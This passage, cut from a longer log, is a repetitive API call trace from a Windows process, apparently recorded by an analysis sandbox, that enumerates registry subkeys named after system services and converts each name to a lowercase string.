lpUsedDefaultChar=0x0) returned 7 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0177.955] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0177.956] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0177.957] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0177.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0177.958] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0177.959] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0177.960] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 